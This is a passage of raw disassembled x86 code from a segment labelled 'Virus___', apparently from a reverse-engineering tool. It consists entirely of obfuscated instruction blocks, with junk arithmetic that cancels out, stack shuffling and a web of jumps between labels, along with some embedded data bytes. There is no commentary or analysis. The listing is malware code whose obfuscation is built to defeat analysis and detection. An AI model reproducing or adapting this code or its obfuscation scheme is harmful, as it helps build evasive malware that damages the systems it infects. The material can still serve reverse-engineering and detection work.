; ---------------------------------------------------------------------------


loc_55D3F9:				; CODE XREF: Virus___:0055C7D6j
		push	ecx
		mov	ecx, 0A9A307Ch
		mov	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, ebx
		pop	ebx
		sub	ebx, ecx
		jmp	loc_558153
; ---------------------------------------------------------------------------


loc_55D414:				; CODE XREF: Virus___:00561C02j
		push	7A11h
		mov	[esp], ebp
		sub	dword ptr [esp], 1
		pop	ebp
		jmp	loc_54FA99
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55EFE6
; ---------------------------------------------------------------------------


loc_55D432:				; CODE XREF: Virus___:0055D037j
		mov	[esp], eax
		push	ebp
		mov	ebp, 10C00A9Ch
		jmp	loc_5639FE
; ---------------------------------------------------------------------------


loc_55D440:				; CODE XREF: Virus___:0055C21Ej
		pop	ebx
		add	ecx, 388478F6h
		add	ecx, edi
		sub	ecx, 388478F6h
		pop	edi
		push	eax
		mov	eax, 0D3A2E3E2h
		add	ecx, eax
		jmp	loc_55DA36
; ---------------------------------------------------------------------------


loc_55D45D:				; CODE XREF: Virus___:00556828j
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55B147
; ---------------------------------------------------------------------------


loc_55D46D:				; CODE XREF: Virus___:00560FAAj
		pop	ecx
		or	ebx, 5592127Ch
		push	edi
		jmp	loc_550553
; ---------------------------------------------------------------------------


loc_55D47A:				; CODE XREF: Virus___:0055096Ej
		shr	edx, 3
		xor	edx, 75DF40B4h
		mov	edi, edx
		mov	edx, [esp]
		jmp	loc_559074
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		jmp	loc_55B9DA
; ---------------------------------------------------------------------------


loc_55D497:				; CODE XREF: Virus___:00563EB2j
		mov	[esp], dx
		mov	dh, 0D1h
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_55AAC2
; ---------------------------------------------------------------------------


loc_55D4B1:				; CODE XREF: Virus___:005552A9j
		sub	eax, 5426DC3h
		add	eax, ecx
		add	eax, 5426DC3h
		push	esi
		jmp	loc_553302
; ---------------------------------------------------------------------------


loc_55D4C3:				; CODE XREF: Virus___:0055640Ej
		or	esi, 5BCF1258h
		jmp	loc_55C230
; ---------------------------------------------------------------------------


loc_55D4CE:				; CODE XREF: Virus___:0055C412j
		pop	ebp
		add	esp, 4
		and	eax, esi
		pop	esi
		shr	eax, 0Ah
		xor	eax, ecx
		push	eax
		jmp	loc_55B470
; ---------------------------------------------------------------------------


loc_55D4E0:				; CODE XREF: Virus___:005525DEj
		mov	[esp], ecx
		push	eax
		jmp	loc_562ED7
; ---------------------------------------------------------------------------


loc_55D4E9:				; CODE XREF: Virus___:0055762Cj
		add	ecx, 43581D13h
		jmp	loc_5594D8
; ---------------------------------------------------------------------------


loc_55D4F4:				; CODE XREF: Virus___:00555665j
		add	ecx, 3EA732F9h
		jmp	loc_55E8EF
; ---------------------------------------------------------------------------


loc_55D4FF:				; CODE XREF: Virus___:0055EC42j
		mov	ebx, [esp]
		jmp	loc_55D6BE
; ---------------------------------------------------------------------------


loc_55D507:				; CODE XREF: Virus___:00558158j
		push	eax
		push	esp
		pop	eax
		push	edx
		mov	edx, 16FC5ED9h
		inc	edx
		add	edx, 2299631Dh
		sub	edx, 3995C1F3h
		add	eax, edx
		pop	edx
		push	ebp
		jmp	loc_55DA1C
; ---------------------------------------------------------------------------


loc_55D526:				; CODE XREF: Virus___:005567C2j
		pop	esi
		jmp	loc_55B93A
; ---------------------------------------------------------------------------


loc_55D52C:				; CODE XREF: Virus___:0055822Dj
		sub	ecx, eax
		pop	eax
		jmp	loc_556053
; ---------------------------------------------------------------------------


loc_55D534:				; CODE XREF: Virus___:0055EF3Cj
		push	edx
		mov	edx, esp
		jmp	loc_561273
; ---------------------------------------------------------------------------


loc_55D53C:				; CODE XREF: Virus___:005577AFj
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5544D1
; ---------------------------------------------------------------------------


loc_55D54E:				; CODE XREF: Virus___:0054FC3Aj
		sub	esp, 4
		mov	[esp], ebx
		pop	ecx
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		push	709E1AB1h
		mov	edi, [esp]
		add	esp, 4
		xor	edi, 12194A26h
		sub	edi, 11ACED98h
		xor	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ecx, 0E78DDF3Fh
		and	[edi+1Ch], ecx
		jmp	loc_55A122
; ---------------------------------------------------------------------------


loc_55D58F:				; CODE XREF: Virus___:00563CD2j
		mov	[esp], eax
		jmp	loc_556FA1
; ---------------------------------------------------------------------------


loc_55D597:				; CODE XREF: Virus___:005616DDj
		or	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		shr	esi, 3
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	ebx, 5E932175h
		add	ebx, 0A9A4F3C2h
		mov	eax, ebx
		pop	ebx
		xor	esi, eax
		pop	eax
		sub	esi, 176C7A35h
		add	esi, 19C2F2F5h
		mov	eax, esi
		pop	esi
		jmp	loc_5644B4
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_55A1C1
; ---------------------------------------------------------------------------


loc_55D5D7:				; CODE XREF: Virus___:0055C5BDj
		push	esi
		jmp	loc_5569A1
; ---------------------------------------------------------------------------


loc_55D5DD:				; CODE XREF: Virus___:0055E133j
		shr	edi, 3
		sub	edi, 5F00725Fh
		xor	edi, 908009D9h
		push	edi
		add	dword ptr [esp], 53D72A2Eh
		pop	esi
		sub	esi, 53D72A2Eh
		mov	edi, [esp]
		jmp	loc_556039
; ---------------------------------------------------------------------------


loc_55D603:				; CODE XREF: Virus___:00559BFAj
		add	esp, 4
		pop	esi
		push	ecx
		push	eax
		mov	eax, 6DAB2EA2h
		add	eax, 5F38414Fh
		shr	eax, 8
		jmp	loc_5623D2
; ---------------------------------------------------------------------------


loc_55D61B:				; CODE XREF: Virus___:0056131Cj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54FFDD
; ---------------------------------------------------------------------------


loc_55D626:				; CODE XREF: Virus___:00562E86j
		pop	ecx
		jmp	loc_555889
; ---------------------------------------------------------------------------


loc_55D62C:				; CODE XREF: Virus___:00559636j
		add	eax, 9230198Ah
		sub	ebx, eax
		jmp	loc_55AB79
; ---------------------------------------------------------------------------


loc_55D638:				; CODE XREF: Virus___:0055336Aj
		push	esi
		mov	esi, 46AF19FAh
		jmp	loc_550EE9
; ---------------------------------------------------------------------------


loc_55D643:				; CODE XREF: Virus___:00555457j
		sub	eax, 6FE27D70h
		push	ebp
		mov	ebp, 7704751h
		sub	ebp, 3C2A6FC3h
		xor	ebp, 53F61807h
		xor	ebp, 504F33CBh
		jmp	loc_55FBF9
; ---------------------------------------------------------------------------


loc_55D665:				; CODE XREF: Virus___:005541BAj
		pop	esi
		jmp	loc_551BCC
; ---------------------------------------------------------------------------


loc_55D66B:				; CODE XREF: Virus___:0055A6FEj
		pop	dword ptr [esp]
		mov	esp, [esp]
		dec	word ptr [esp]
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		jmp	loc_55459A
; ---------------------------------------------------------------------------


loc_55D685:				; CODE XREF: Virus___:0055900Cj
		neg	dword ptr [esp]
		pop	eax
		not	eax
		jmp	loc_5553F1
; ---------------------------------------------------------------------------


loc_55D690:				; CODE XREF: Virus___:00562801j
		add	esp, 4
		jmp	loc_552147
; ---------------------------------------------------------------------------


loc_55D69B:				; CODE XREF: Virus___:0055BB67j
		add	esp, 4
		shl	ebp, 4
		push	esi
		mov	esi, 21B564CFh
		sub	esi, 1972487Ch
		not	esi
		inc	esi
		jmp	loc_555FDE
; ---------------------------------------------------------------------------


loc_55D6B5:				; CODE XREF: Virus___:00554FFEj
		not	esi
		push	ebp
		push	esi
		jmp	loc_55A355
; ---------------------------------------------------------------------------


loc_55D6BE:				; CODE XREF: Virus___:0055D502j
		add	esp, 4
		jmp	loc_55BF35
; ---------------------------------------------------------------------------


loc_55D6C6:				; CODE XREF: Virus___:0056413Dj
		mov	ebp, 50830E7Dh
		push	4D01h
		jmp	loc_56184F
; ---------------------------------------------------------------------------


loc_55D6D5:				; CODE XREF: Virus___:005555A5j
		mov	[esp], ecx
		jmp	loc_5605A8
; ---------------------------------------------------------------------------


loc_55D6DD:				; CODE XREF: Virus___:005500B8j
		mov	[esp], ebx
		push	9C560C4h
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55627B
; ---------------------------------------------------------------------------


loc_55D6F4:				; CODE XREF: Virus___:005585F6j
		mov	ecx, 12206BF6h
		not	ecx
		jmp	loc_55FAC5
; ---------------------------------------------------------------------------


loc_55D700:				; CODE XREF: Virus___:005593A3j
		add	esp, 4
		jmp	loc_559A66
; ---------------------------------------------------------------------------


loc_55D708:				; CODE XREF: Virus___:00563968j
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_562233
; ---------------------------------------------------------------------------


loc_55D719:				; CODE XREF: Virus___:00554754j
		mov	eax, 5B795037h
		jmp	loc_55CDC1
; ---------------------------------------------------------------------------


loc_55D723:				; CODE XREF: Virus___:0055411Bj
		mov	ecx, 78555BBDh
		sub	ebx, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_55C998
; ---------------------------------------------------------------------------


loc_55D736:				; CODE XREF: Virus___:0055AB55j
		push	ebp
		push	1A745971h
		pop	ebp
		jmp	loc_562345
; ---------------------------------------------------------------------------


loc_55D742:				; CODE XREF: Virus___:0055ACD0j
		push	ecx
		mov	ecx, 31887D53h
		shr	ecx, 1
		dec	ecx
		xor	ecx, 166C7AA1h
		sub	ecx, 23651534h
		add	ecx, 0DD806B72h
		jmp	loc_55E3D3
; ---------------------------------------------------------------------------


loc_55D762:				; CODE XREF: Virus___:00563D6Bj
		add	esp, 4
		jmp	loc_563831
; ---------------------------------------------------------------------------


loc_55D76A:				; CODE XREF: Virus___:00560E8Fj
		not	dword ptr [esp]
		pop	ecx
		dec	ecx
		jmp	loc_56417C
; ---------------------------------------------------------------------------


loc_55D774:				; CODE XREF: Virus___:00550421j
		pop	eax
		add	esp, 4
		jmp	loc_5513EB
; ---------------------------------------------------------------------------


loc_55D780:				; CODE XREF: Virus___:0055A5F4j
		add	ebp, 7E130CA9h
		add	ebp, edx
		sub	ebp, 7E130CA9h
		add	ebp, 3F7A4E09h
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_5568F5
; ---------------------------------------------------------------------------


loc_55D7BB:				; CODE XREF: Virus___:00556EBBj
		push	esi
		mov	esi, esp
		jmp	loc_54F87E
; ---------------------------------------------------------------------------


loc_55D7C3:				; CODE XREF: Virus___:0055A184j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55DFEE
; ---------------------------------------------------------------------------


loc_55D7D1:				; CODE XREF: Virus___:0055EEB6j
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, 48EB6B82h
		not	eax
		jmp	loc_5597C1
; ---------------------------------------------------------------------------


loc_55D7E4:				; CODE XREF: Virus___:005548D0j
		add	esp, 4
		pop	ecx
		xor	dl, al
		pop	eax
		sub	al, 0D3h
		add	al, dl
		jmp	loc_56038A
; ---------------------------------------------------------------------------


loc_55D7F4:				; CODE XREF: Virus___:00555CBBj
		push	ecx
		jmp	loc_55F6C3
; ---------------------------------------------------------------------------


loc_55D7FA:				; CODE XREF: Virus___:0055C7BEj
		xor	cl, 0C9h
		push	ebx
		push	eax
		jmp	loc_561E44
; ---------------------------------------------------------------------------


loc_55D804:				; CODE XREF: Virus___:0056318Bj
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55D80D:				; CODE XREF: Virus___:00561D90j
		xor	esi, edx
		pop	edx
		jmp	loc_55A22F
; ---------------------------------------------------------------------------


loc_55D815:				; CODE XREF: Virus___:0055684Aj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5626CD
; ---------------------------------------------------------------------------


loc_55D828:				; CODE XREF: Virus___:00560EF5j
		add	esp, 4
		and	ah, 36h
		sub	ah, 26h
		shr	ah, 4
		or	ah, 56h
		jmp	loc_54F877
; ---------------------------------------------------------------------------


loc_55D83F:				; CODE XREF: Virus___:0055BEDBj
		sub	ecx, 5CEC1127h
		add	esi, ecx
		pop	ecx
		jmp	loc_556902
; ---------------------------------------------------------------------------


loc_55D84D:				; CODE XREF: Virus___:0055B319j
		neg	cl
		xor	cl, 56h
		push	3762h
		mov	[esp], eax
		mov	ah, cl
		push	2935h
		mov	[esp], edx
		push	ebx
		mov	bh, ah
		jmp	loc_563620
; ---------------------------------------------------------------------------


loc_55D86C:				; CODE XREF: Virus___:00563A32j
		push	esi
		jmp	loc_5567B9
; ---------------------------------------------------------------------------


loc_55D872:				; CODE XREF: Virus___:00550225j
		push	ebx
		mov	bh, 3Ah
		xor	bh, 0DFh
		xor	bh, 0DCh
		jmp	loc_55E9DE
; ---------------------------------------------------------------------------


loc_55D880:				; CODE XREF: Virus___:00554C59j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		sub	esp, 4
		mov	[esp], ecx
		push	47DE3082h
		pop	ecx
		and	ecx, 6D135D9Bh
		and	ecx, 543C3BF2h
		dec	ecx
		not	ecx
		shl	ecx, 4
		jmp	loc_559892
; ---------------------------------------------------------------------------


loc_55D8B1:				; CODE XREF: Virus___:00563CE3j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_55940F
; ---------------------------------------------------------------------------


loc_55D8C2:				; CODE XREF: Virus___:0054FFEEj
		push	719Dh
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5625A4
; ---------------------------------------------------------------------------


loc_55D8D1:				; CODE XREF: Virus___:00552ED0j
		pop	cx
		jmp	loc_55A255
; ---------------------------------------------------------------------------


loc_55D8D8:				; CODE XREF: Virus___:00552835j
		sub	bl, 43h
		dec	bl
		jmp	loc_5547FE
; ---------------------------------------------------------------------------


loc_55D8E2:				; CODE XREF: Virus___:00562CD8j
		or	eax, 41754314h
		neg	eax
		shl	eax, 5
		add	eax, 731F0B0Bh
		neg	eax
		sub	eax, 357A6D17h
		add	ebp, eax
		pop	eax
		jmp	loc_553D87
; ---------------------------------------------------------------------------


loc_55D900:				; CODE XREF: Virus___:00557FB5j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5542D1
; ---------------------------------------------------------------------------


loc_55D90C:				; CODE XREF: Virus___:0055CA1Bj
		add	al, 1Bh
		sub	al, 12h
		push	ecx
		jmp	loc_55FA73
; ---------------------------------------------------------------------------


loc_55D916:				; CODE XREF: Virus___:00564CA3j
		push	edi
		mov	edi, 43F529DAh
		dec	edi
		neg	edi
		sub	edi, 18A742DAh
		add	edi, 875CB3EFh
		mov	ebx, edi
		pop	edi
		not	ebx
		not	ebx
		push	edi
		jmp	loc_555F44
; ---------------------------------------------------------------------------


loc_55D938:				; CODE XREF: Virus___:00562F80j
		mov	ecx, 676417C5h
		jmp	loc_55A987
; ---------------------------------------------------------------------------


loc_55D942:				; CODE XREF: Virus___:005584A7j
		push	1672h
		mov	[esp], edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5501C5
; ---------------------------------------------------------------------------


loc_55D958:				; CODE XREF: Virus___:005522DCj
		mov	ebp, 40A1366Ch
		sub	ebp, 1D8BD890h
		xor	eax, ebp
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5578F5
; ---------------------------------------------------------------------------


loc_55D976:				; CODE XREF: Virus___:00562ABAj
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	2D9Fh
		mov	[esp], eax
		jmp	loc_5506C1
; ---------------------------------------------------------------------------


loc_55D997:				; CODE XREF: Virus___:0055A250j
		sub	[esp+4], eax
		pop	eax
		push	299Dh
		mov	[esp], edx
		push	ebp
		mov	ebp, 7F8D56ABh
		mov	edx, ebp
		push	dword ptr [esp]
		jmp	loc_5623E7
; ---------------------------------------------------------------------------


loc_55D9B4:				; CODE XREF: Virus___:00554606j
		movzx	eax, al
		jmp	loc_55DF75
; ---------------------------------------------------------------------------


loc_55D9BC:				; CODE XREF: Virus___:0055A676j
		pop	eax
		add	esp, 4
		jmp	loc_55966D
; ---------------------------------------------------------------------------


loc_55D9C5:				; CODE XREF: Virus___:00555A8Ej
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		mov	ebp, 151E073Eh
		neg	ebp
		jmp	loc_5567DA
; ---------------------------------------------------------------------------


loc_55D9DA:				; CODE XREF: Virus___:005506A5j
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_552978
; ---------------------------------------------------------------------------


loc_55D9EB:				; CODE XREF: Virus___:00550269j
		mov	esp, [esp]
		imul	cl
		movzx	cx, ah
		jmp	loc_554D4C
; ---------------------------------------------------------------------------


loc_55D9F9:				; CODE XREF: Virus___:0055C0A3j
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_5585D3
; ---------------------------------------------------------------------------


loc_55DA02:				; CODE XREF: Virus___:00563BC2j
		add	esp, 4
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_56471F
; ---------------------------------------------------------------------------


loc_55DA13:				; CODE XREF: Virus___:0055A8A0j
		push	ax
		mov	ah, 8Dh
		jmp	loc_555D4C
; ---------------------------------------------------------------------------


loc_55DA1C:				; CODE XREF: Virus___:0055D521j
		push	ebx
		push	779B13C8h
		pop	ebx
		add	ebx, 406B7513h
		not	ebx
		sub	ebx, 3F4716FDh
		jmp	loc_550897
; ---------------------------------------------------------------------------


loc_55DA36:				; CODE XREF: Virus___:0055D458j
		pop	eax
		jmp	loc_55DF0A
; ---------------------------------------------------------------------------


loc_55DA3C:				; CODE XREF: Virus___:0055E785j
		not	dl
		push	ecx
		mov	ch, 5
		jmp	loc_555B2C
; ---------------------------------------------------------------------------
		push	6DBDh
		push	esp
		pop	dword ptr [esp]
		push	esi
		push	ebx
		push	3EB2A84h
		mov	ebx, [esp]
		jmp	loc_563AAD
; ---------------------------------------------------------------------------


loc_55DA5E:				; CODE XREF: Virus___:005646DBj
		movsx	cx, al
		push	small 7EDDh
		mov	[esp], cx
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55DA6F:				; CODE XREF: Virus___:00553C89j
		pop	esp
		or	eax, eax
		jz	loc_564380
		push	dword ptr [edi+1Ch]
		push	edi
		push	5B2D6F38h
		jmp	loc_557888
; ---------------------------------------------------------------------------


loc_55DA86:				; CODE XREF: Virus___:0055E174j
		mov	edx, [esp]
		jmp	loc_56220F
; ---------------------------------------------------------------------------


loc_55DA8E:				; CODE XREF: Virus___:005535A0j
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		jmp	loc_55FB1F
; ---------------------------------------------------------------------------


loc_55DA9A:				; CODE XREF: Virus___:0056175Fj
		shl	ebp, 5
		jmp	loc_55E4DB
; ---------------------------------------------------------------------------


loc_55DAA2:				; CODE XREF: Virus___:0054F8CCj
		add	ebp, 95F48B1Bh
		add	edx, ebp
		pop	ebp
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55DAB0:				; CODE XREF: Virus___:00564598j
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_55171C
; ---------------------------------------------------------------------------


loc_55DABE:				; CODE XREF: Virus___:0055B0D7j
		pop	ebx
		xor	eax, 7C3101B6h
		sub	eax, 69739F12h
		mov	ecx, eax
		pop	eax
		add	ecx, 1C2778D7h
		push	edi
		mov	edi, 0CA4A0918h
		sub	ecx, 478A7CB7h
		add	ecx, edi
		add	ecx, 478A7CB7h
		pop	edi
		add	esi, ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_558CD4
; ---------------------------------------------------------------------------


loc_55DB13:				; CODE XREF: Virus___:00553070j
		add	ecx, ebp
		add	ecx, 46F37663h
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5619E2
; ---------------------------------------------------------------------------


loc_55DB24:				; CODE XREF: Virus___:005545BDj
		mov	ecx, 76C25086h
		push	esi
		mov	esi, 691807D2h
		dec	esi
		jmp	loc_55B20A
; ---------------------------------------------------------------------------


loc_55DB35:				; CODE XREF: Virus___:00551B0Ej
		pop	edx
		jmp	loc_551409
; ---------------------------------------------------------------------------


loc_55DB3B:				; CODE XREF: Virus___:0056350Dj
		pop	esp
		sub	al, 94h
		pop	ecx
		push	edx
		jmp	loc_56006C
; ---------------------------------------------------------------------------


loc_55DB45:				; CODE XREF: Virus___:005572E9j
		add	esp, 4
		jmp	loc_56058E
; ---------------------------------------------------------------------------


loc_55DB4D:				; CODE XREF: Virus___:00554937j
		not	edi
		or	edi, 5DE3647Ah
		or	edi, 532566F0h
		neg	edi
		shl	edi, 2
		jmp	loc_554E59
; ---------------------------------------------------------------------------


loc_55DB65:				; CODE XREF: Virus___:00556565j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55DB70:				; CODE XREF: Virus___:005584CAj
		mov	[esp], eax
		jmp	loc_55E297
; ---------------------------------------------------------------------------


loc_55DB78:				; CODE XREF: Virus___:005560B7j
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	4F59h
		jmp	loc_55CDB5
; ---------------------------------------------------------------------------


loc_55DB8A:				; CODE XREF: Virus___:00552DB6j
		pop	edx
		pop	edi
		xor	ebp, edx
		xor	edx, ebp
		xor	ebp, edx
		add	ebp, 111D59C6h
		jmp	loc_55F5BD
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 54575124h, 4C7815Fh,	55000000h, 4BDh, 0DCEF8100h, 294FC43Fh
		dd 0DCC781EFh, 5D4FC43Fh, 8B243C87h, 7DE92424h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DBCB:				; CODE XREF: Virus___:005646D1j
		mov	al, dl
		mov	ch, al
		pop	eax
		pop	edx
		sub	al, ch
		pop	ecx
		jmp	loc_557461
; ---------------------------------------------------------------------------


loc_55DBD9:				; CODE XREF: Virus___:005549EBj
		add	ecx, 4
		add	ecx, 2
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_559371
; ---------------------------------------------------------------------------


loc_55DBF3:				; CODE XREF: Virus___:0055551Ej
		pop	eax
		jmp	loc_559229
; ---------------------------------------------------------------------------


loc_55DBF9:				; CODE XREF: Virus___:00557F47j
		pop	ecx
		jmp	loc_55A323
; ---------------------------------------------------------------------------


loc_55DBFF:				; CODE XREF: Virus___:00559D8Aj
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_56464A
; ---------------------------------------------------------------------------


loc_55DC14:				; CODE XREF: Virus___:00551EABj
		mov	ecx, 24h
		add	ecx, edi
		xor	[ecx], esi
		mov	ecx, [esp]
		jmp	loc_5574C1
; ---------------------------------------------------------------------------


loc_55DC25:				; CODE XREF: Virus___:00563B60j
		sub	edx, 0A3E7381h
		pop	ebx
		push	eax
		jmp	loc_553705
; ---------------------------------------------------------------------------


loc_55DC32:				; CODE XREF: Virus___:00554E32j
		mov	edi, 3A4D313Bh
		add	edx, 4F1B47ECh
		add	edx, edi
		sub	edx, 4F1B47ECh
		mov	edi, [esp]
		add	esp, 4
		add	edx, 0F60DE03Ah
		add	ecx, edx
		jmp	loc_55484F
; ---------------------------------------------------------------------------


loc_55DC58:				; CODE XREF: Virus___:0055FCD5j
		add	eax, ebx
		jmp	loc_550B71
; ---------------------------------------------------------------------------


loc_55DC5F:				; CODE XREF: Virus___:0055A3BFj
		add	ebp, eax
		jmp	loc_55CA7A
; ---------------------------------------------------------------------------


loc_55DC66:				; CODE XREF: Virus___:00553461j
		pop	esp
		jmp	loc_55F8D2
; ---------------------------------------------------------------------------


loc_55DC6C:				; CODE XREF: Virus___:0055760Bj
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55E759
; ---------------------------------------------------------------------------


loc_55DC7F:				; CODE XREF: Virus___:0056081Cj
		add	dh, 6Ch
		sub	dh, 0FFh
		sub	dh, 0A3h
		mov	al, dh
		mov	edx, [esp]
		add	esp, 4
		add	bl, al
		mov	ax, [esp]
		jmp	loc_55B66D
; ---------------------------------------------------------------------------


loc_55DC9B:				; CODE XREF: Virus___:0055CC70j
		push	ebx
		jmp	loc_563860
; ---------------------------------------------------------------------------


loc_55DCA1:				; CODE XREF: Virus___:005641ADj
		push	0B0Dh
		jmp	loc_55F730
; ---------------------------------------------------------------------------


loc_55DCAB:				; CODE XREF: Virus___:0055584Fj
		push	edi
		mov	edi, esi
		mov	ebx, edi
		pop	edi
		pop	esi
		add	ebx, 0BBBE057Bh
		sub	eax, 0DD047A6h
		sub	eax, ebx
		jmp	loc_5625F5
; ---------------------------------------------------------------------------


loc_55DCC4:				; CODE XREF: Virus___:00561D24j
		inc	edx
		neg	edx
		sub	edx, 8D583476h
		add	ebx, edx
		jmp	loc_55F2B8
; ---------------------------------------------------------------------------


loc_55DCD4:				; CODE XREF: Virus___:0055A3B7j
		xor	ecx, 8576EAAAh
		jmp	loc_554CDF
; ---------------------------------------------------------------------------


loc_55DCDF:				; CODE XREF: Virus___:00563970j
		sub	eax, 24301F13h
		add	eax, ebp
		add	eax, 24301F13h
		jmp	loc_55AD7D
; ---------------------------------------------------------------------------


loc_55DCF0:				; CODE XREF: Virus___:00556342j
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55908A
; ---------------------------------------------------------------------------


loc_55DD04:				; CODE XREF: Virus___:00563451j
		push	ecx
		mov	ecx, 364A2FAEh
		and	ecx, 40A1720h
		not	ecx
		shr	ecx, 1
		xor	ecx, 7A77E055h
		shr	ecx, 4
		push	esi
		mov	esi, 71323C70h
		push	ecx
		mov	ecx, 7D4B7C31h
		shl	ecx, 8
		add	ecx, 4D4D160Bh
		add	ecx, 0ABEF2098h
		xor	esi, ecx
		pop	ecx
		xor	esi, 0AD633F8h
		xor	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 47A44ADDh
		sub	ecx, edx
		pop	edx
		sub	ecx, 35F9251Bh
		shl	ecx, 2
		jmp	loc_560CD0
; ---------------------------------------------------------------------------


loc_55DD60:				; CODE XREF: Virus___:0054FA12j
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, al
		push	edx
		mov	dh, bh
		mov	ch, dh
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_56059B
; ---------------------------------------------------------------------------


loc_55DD77:				; CODE XREF: Virus___:00559DDCj
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, 609D273Eh
		neg	eax
		add	eax, 609D2742h
		add	ebx, eax
		jmp	loc_559739
; ---------------------------------------------------------------------------


loc_55DD94:				; CODE XREF: Virus___:00552B6Fj
		pop	ebp


loc_55DD95:				; CODE XREF: Virus___:00564BC6j
		push	342Ah
		mov	[esp], ebx
		sub	dword ptr [esp], 60FE2BA6h
		pop	eax
		jmp	loc_552079
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_55B0FB
; ---------------------------------------------------------------------------


loc_55DDB3:				; CODE XREF: Virus___:0055FB41j
		sub	esp, 4
		jmp	loc_5572CB
; ---------------------------------------------------------------------------


loc_55DDBB:				; CODE XREF: Virus___:0055BFC7j
		xor	edi, [esp]
		pop	esp
		mov	[esp], dx
		push	eax
		push	ecx
		mov	cl, 0D7h
		jmp	loc_54FE55
; ---------------------------------------------------------------------------


loc_55DDCC:				; CODE XREF: Virus___:0055AFFDj
		pop	ecx
		pop	eax
		jmp	loc_54FB82
; ---------------------------------------------------------------------------


loc_55DDD3:				; CODE XREF: Virus___:00562966j
		mov	esi, 1
		jmp	loc_563D0F
; ---------------------------------------------------------------------------


loc_55DDDD:				; CODE XREF: Virus___:0055F2F1j
		push	edx
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		push	4842h
		mov	[esp], edi
		not	dword ptr [esp]
		pop	edi
		jmp	loc_5588DB
; ---------------------------------------------------------------------------


loc_55DDF9:				; CODE XREF: Virus___:0055264Cj
		push	esi
		push	edx
		push	4FB27120h
		jmp	loc_560D64
; ---------------------------------------------------------------------------


loc_55DE05:				; CODE XREF: Virus___:0055D3EAj
		mov	[esp], edx
		jmp	loc_564B99
; ---------------------------------------------------------------------------


loc_55DE0D:				; CODE XREF: Virus___:00559AE7j
		add	eax, edx
		pop	edx
		jmp	loc_555670
; ---------------------------------------------------------------------------


loc_55DE15:				; CODE XREF: Virus___:0055916Aj
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	0A45h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_55BDBA
; ---------------------------------------------------------------------------


loc_55DE3C:				; CODE XREF: Virus___:0055356Aj
		push	ebp
		mov	ebp, 70E0792Dh
		sub	ecx, ebp
		pop	ebp
